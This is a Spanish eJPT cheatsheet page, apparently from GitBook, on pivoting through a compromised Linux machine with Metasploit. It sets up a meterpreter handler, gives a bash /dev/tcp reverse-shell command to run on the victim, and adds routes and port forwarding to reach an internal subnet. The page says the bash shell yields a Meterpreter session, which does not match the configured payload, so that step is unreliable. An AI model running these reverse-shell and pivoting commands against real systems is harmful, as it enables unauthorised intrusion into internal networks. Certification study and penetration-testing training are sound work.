> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-cheatsheet/linux-post-explotacion/pivoting-en-linux-con-metasploit.md).

# Pivoting en Linux con Metasploit

#### 🖥️ En tu máquina atacante (Kali)

```bash
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <tu IP externa o tun0 si es VPN>
set LPORT <puerto que escuchará>
run
```

Esto prepara a **Metasploit** para recibir una conexión *reverse shell* de tipo Meterpreter desde la máquina intermedia.

***

#### 💣 En la máquina intermedia (que ya explotaste antes)

```bash
bash -i >& /dev/tcp/<tu IP>/<puerto> 0>&1
```

Este comando es una **reverse shell en bash** que conecta de vuelta a tu máquina atacante (Kali) al puerto que está escuchando el handler de Metasploit. Al recibir esta conexión, obtienes una **sesión Meterpreter**.

***

#### 🐚 Ya con acceso a Meterpreter (sesión desde máquina intermedia)

```bash
ipconfig
```

Usas este comando para identificar qué **interfaces de red** tiene la máquina intermedia, y especialmente si tiene acceso a una subred **interna** (por ejemplo, `192.168.56.0/24`).

***

#### 🔀 Preparas el pivoting

1. **Sales temporalmente de la sesión Meterpreter**:

```bash
ctrl + z
```

2. **Añades una nueva ruta** para que Metasploit sepa que puede alcanzar esa subred a través de esta sesión:

```bash
route add <IP_subred> <máscara_red> <session_ID>
```

🔎 Ejemplo:

```bash
route add 192.168.56.0 255.255.255.0 1
```

Esto le dice a Metasploit: “Para llegar a la red `192.168.56.0/24`, usa la sesión 1 como gateway”.

***

#### 📡 Reaccedes a la sesión Meterpreter

```bash
sessions -l          # listar sesiones activas
sessions -i <id>     # volver a tu sesión con la máquina intermedia
```

***

#### 🚪 Redirección de puertos (port forwarding)

```bash
portfwd add -l <puerto_kali> -p <puerto_victima_final> -r <IP_victima_final>
```

Esto crea un **túnel de red** entre tu máquina y la máquina final (que está detrás de la intermedia). Con esto puedes interactuar con servicios que solo son accesibles **desde dentro**.

🔎 Ejemplo:

```bash
portfwd add -l 8080 -p 80 -r 192.168.56.103
```

Ahora, si accedes a `http://localhost:8080` desde Kali, estarás realmente accediendo al puerto 80 de `192.168.56.103` a través de la máquina intermedia.
